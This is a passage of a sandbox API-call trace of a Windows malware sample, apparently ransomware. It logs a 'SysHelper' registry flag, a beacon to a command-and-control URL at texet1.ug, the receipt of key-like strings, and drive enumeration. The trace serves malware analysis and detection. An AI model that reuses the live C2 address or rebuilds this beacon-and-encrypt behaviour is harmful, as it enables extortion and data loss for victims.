out: phkResult=0xfbaa6e4*=0x5c8) returned 0x0 [0045.152] RegQueryValueExW (in: hKey=0x5c8, lpValueName="SysHelper", lpReserved=0x0, lpType=0xfbaa6d8, lpData=0xfbaa6e0, lpcbData=0xfbaa6dc*=0x4 | out: lpType=0xfbaa6d8*=0x0, lpData=0xfbaa6e0*=0x0, lpcbData=0xfbaa6dc*=0x4) returned 0x2 [0045.152] RegSetValueExW (in: hKey=0x5c8, lpValueName="SysHelper", Reserved=0x0, dwType=0x4, lpData=0xfbaa6e0*=0x1, cbData=0x4 | out: lpData=0xfbaa6e0*=0x1) returned 0x0 [0045.153] RegCloseKey (hKey=0x5c8) returned 0x0 [0045.153] InternetOpenW (lpszAgent="Microsoft Internet Explorer", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0010 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x90) returned 0x2f476b0 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xd6) returned 0x2f94c18 [0045.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f476b0 | out: hHeap=0x670000) returned 1 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd538 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x3066fb8 [0045.153] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ffd538, cbMultiByte=-1, lpWideCharStr=0x3066fb8, cchWideChar=1056 | out: lpWideCharStr="711BCE0E5BC884176929A7862BF0A291") returned 33 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x850) returned 0x3067800 [0045.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3066fb8 | out: hHeap=0x670000) returned 1 [0045.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd538 | out: hHeap=0x670000) returned 1 [0045.153] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8e0) returned 0x3068058 [0045.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f94c18 | out: hHeap=0x670000) returned 1 [0045.153] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3067800 | out: hHeap=0x670000) returned 1 [0045.153] lstrcpyW (in: lpString1=0xfbaaf78, lpString2="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291" [0045.153] lstrcatW (in: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291", lpString2="&first=true" | out: lpString1="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291&first=true") returned="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291&first=true" [0045.153] InternetOpenUrlW (hInternet=0xcc0010, lpszUrl="http://texet1.ug/AJShduiwtyt7858345iasd43/AJshd78458hIsdfSdf/get.php?pid=711BCE0E5BC884176929A7862BF0A291&first=true", lpszHeaders=0x0, dwHeadersLength=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc0018 [0045.810] InternetReadFile (in: hFile=0xcc0018, lpBuffer=0xfbaa778, dwNumberOfBytesToRead=0x400, lpdwNumberOfBytesRead=0xfbaa774 | out: lpBuffer=0xfbaa778*, lpdwNumberOfBytesRead=0xfbaa774*=0x67) returned 1 [0045.811] InternetCloseHandle (hInternet=0xcc0018) returned 1 [0045.813] InternetCloseHandle (hInternet=0xcc0010) returned 1 [0045.813] lstrlenA (lpString="{\"line1\":\"") returned 10 [0045.813] lstrcpyA (in: lpString1=0xfbaab78, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.813] lstrcpyA (in: lpString1=0xfbaa778, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.813] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x2f89238 [0045.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8ba) returned 0x3013308 [0045.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2f89238, cbMultiByte=-1, lpWideCharStr=0x3013308, cchWideChar=1117 | out: lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 94 [0045.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x8c0) returned 0x3013bd0 [0045.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013308 | out: hHeap=0x670000) returned 1 [0045.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2f89238 | out: hHeap=0x670000) returned 1 [0045.814] lstrcpyW (in: lpString1=0x464f20, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.814] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013bd0 | out: hHeap=0x670000) returned 1 [0045.814] lstrlenA (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 93 [0045.814] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xbc) returned 0x30163e0 [0045.814] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfbaa778, cbMultiByte=-1, lpWideCharStr=0x30163e0, cchWideChar=94 | out: lpWideCharStr="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 94 [0045.814] lstrcpyW (in: lpString1=0x464f20, lpString2="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw\",\"line2\":\"KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.814] lstrlenW (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0045.814] lstrlenA (lpString="\",\"line2\":\"") returned 11 [0045.814] lstrcpyA (in: lpString1=0xfbaab78, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.814] lstrcpyA (in: lpString1=0xfbaa778, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.814] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.814] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.815] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.816] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x2ffd810 [0045.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x854) returned 0x3013308 [0045.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x2ffd810, cbMultiByte=-1, lpWideCharStr=0x3013308, cchWideChar=1066 | out: lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 43 [0045.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x3013b68 [0045.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013308 | out: hHeap=0x670000) returned 1 [0045.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x2ffd810 | out: hHeap=0x670000) returned 1 [0045.816] lstrcpyW (in: lpString1=0x46c450, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3013b68 | out: hHeap=0x670000) returned 1 [0045.816] lstrlenA (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 42 [0045.816] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x56) returned 0x30213c0 [0045.816] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xfbaa778, cbMultiByte=-1, lpWideCharStr=0x30213c0, cchWideChar=43 | out: lpWideCharStr="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned 43 [0045.816] lstrcpyW (in: lpString1=0x46c450, lpString2="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" | out: lpString1="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}") returned="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e\"}" [0045.816] lstrlenW (lpString="MlREIhkyYQqB7typOjVyZ27cUa4GXftp2Bfoplpw") returned 40 [0045.816] lstrlenW (lpString="KRRKQwV0mpqE8BGv4AkYJPwidUPXaGIDfbOlVy4e") returned 40 [0045.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068058 | out: hHeap=0x670000) returned 1 [0045.816] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306c3e8 | out: hHeap=0x670000) returned 1 Thread: id = 45 os_tid = 0x6b4 [0046.181] timeGetTime () returned 0x1a84f [0046.181] GetLastError () returned 0x54f [0046.181] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x8, Size=0x3bc) returned 0x30154d0 [0046.181] GetCurrentThreadId () returned 0x6b4 [0046.181] SetLastError (dwErrCode=0x54f) [0046.181] Sleep (dwMilliseconds=0x9c40) [0058.037] Sleep (dwMilliseconds=0x3e8) [0059.051] GetLogicalDrives () returned 0x4 [0059.051] SetErrorMode (uMode=0x1) returned 0x0 [0059.051] PathFileExistsA (pszPath="C:\\") returned 1 [0059.051] SetErrorMode (uMode=0x0) returned 0x1 [0059.051] GetDriveTypeA (lpRootPathName="C:\\") returned 0x3 [0059.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x806) returned 0x306a418 [0059.052] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x9aafe60, cbMultiByte=-1, lpWideCharStr=0x306a418, cchWideChar=1027 | out: lpWideCharStr="C:\\") returned 4 [0059.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8ab8 [0059.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.052] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x18) returned 0x722fd0 [0059.052] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.052] PeekMessageW (in: lpMsg=0x9aafb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x9aafb74) returned 0 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0059.053] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0059.053] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.053] RtlAllocateHeap 